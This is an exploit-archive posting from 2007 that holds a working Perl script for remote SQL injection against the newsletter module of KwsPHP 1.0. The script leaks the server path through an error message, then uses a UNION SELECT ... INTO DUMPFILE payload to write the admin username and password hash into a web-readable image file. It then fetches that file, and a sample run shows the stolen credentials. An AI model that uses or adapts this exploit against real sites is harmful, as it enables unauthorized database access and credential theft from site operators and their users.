Home / exploits

PDF

kwsphpnews-sql.txt

Posted on 12 October 2007

##################################################
#	Script....................................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site...........................: http://www.kwsphp.org
#	Vulnerability........................: Remote SQL injection Exploit
#	Access..................................: Remote
#	level......................................: Dangerous
#	Author..................................: S4mi
#	Contact.................................: S4mi[at]LinuxMail.org
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#This Exploit Only When magic_quotes_gpc Is OFF
#Vuln Files:
#modules
ewsletterindex.php
#               [code]
#
# line: 94	$req = reqmysql('SELECT pseudo,email FROM users WHERE email="'.$newsletter.'"') ;
# line: 95	$rep1 = mysql_fetch_object($req) ;
#
#                  [/code]
#
#**************************************************************************

#Screen shot
#----------------
#C:>KwsPHP.pl 127.0.0.1 /KwsPHP/

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the Full path.
#+ ---------------- +
#+ path: c:public_htmlkwsphp\n
# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the injected code.
#+ ---------------- +
#127.0.0.1/KwsPHP//index.php?mod=newsletter&avert_news=1&newsletter="union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE 'c:/public_html/kwsphp/images/l3eez.gif'/*
#+ ---------------- +

#+ injecting database.
#+ ---------------- +
#+ Done!

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting user info.
#+ ---------------- +
#+ username: admin1
#+ Password: e10adc3949ba59abbe56e057f20f883e

#C:>

###################################################

#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1] ));

$host = $ARGV[0];
$path = $ARGV[1];

#print "User Name: ";
#$user = <STDIN>;
#chop ($user);

syswrite STDOUT ,"
 Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "
 Unable to connect to $host
" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"
 Sending Data ...";

print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=" HTTP/1.1
";
print $sock "Host: $host
";
print $sock "Referer: $host
";
print $sock "Accept-Language: en-us
";
print $sock "Content-Type: application/x-www-form-urlencoded
";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
";
print $sock "Cache-Control: no-cache
";
print $sock "Connection: Close

";
syswrite STDOUT ,"[OK]

";

while($answer = <$sock>){

if ($answer =~ /in <b>(.*?)modul(.*?)92/){
print "+ Getting the Full path.
";
print "+ ---------------- +
";
print "+ path: $1
";

# here we need to replace the  "" by "/"  in the  $1 for the Windoz Servers (didn't
$localpath = $1;
$fullpath = $localpath."images/l3eez.gif";
}

else
{
print "Can't find the full path
";
exit(0);
}
}

$inject = "union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE '$fullpath'/*";

syswrite STDOUT ,"
 Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "
 Unable to connect to $host
" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"
 Sending Data ...";
print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter="$inject HTTP/1.1
";
print $sock "Host: $host
";
print $sock "Referer: $host
";
print $sock "Accept-Language: en-us
";
print $sock "Content-Type: application/x-www-form-urlencoded
";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
";
print $sock "Cache-Control: no-cache
";
print $sock "Connection: Close

";
syswrite STDOUT ,"[OK]

";


print "+ Getting the injected code.
";
print "+ ---------------- +
";
print "$host$path/index.php?mod=newsletter&avert_news=1&newsletter="$inject 
";
print "+ ---------------- +

";
print "+ injecting database.
";
print "+ ---------------- +
";


#here need to connect to the new created file created from the sql injection (user::password,)
syswrite STDOUT ,"
 Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "
 Unable to connect to $host
" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"
 Sending Data ...";

print $sock "GET $path/images/l3eez.gif HTTP/1.1
";
print $sock "Host: $host
";
print $sock "Referer: $host
";
print $sock "Accept-Language: en-us
";
print $sock "Content-Type: application/x-www-form-urlencoded
";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
";
print $sock "Cache-Control: no-cache
";
print $sock "Connection: Close

";
syswrite STDOUT ,"[OK]

";


while($answer = <$sock>){

if ($answer =~ /(.*?)::(.*?),/){
print "+ Getting user info.
";
print "+ ---------------- +
";
print "+ username: $1
";
print "+ Password: $2
";
}
}

sub usage{
print "
Usage   : perl $0 host /path/ ";
print "
Exemple : perl $0 www.victim.com /KwsPHP/
";
exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#	Script......................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site.................: http://www.kwsphp.org
#	Vulnerability...............: Remote SQL injection Exploit
#	Access......................: Remote
#	level.......................: Dangerous
#	Author......................: S4mi
#	Contact.....................: S4mi[at]LinuxMail.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

 

TOP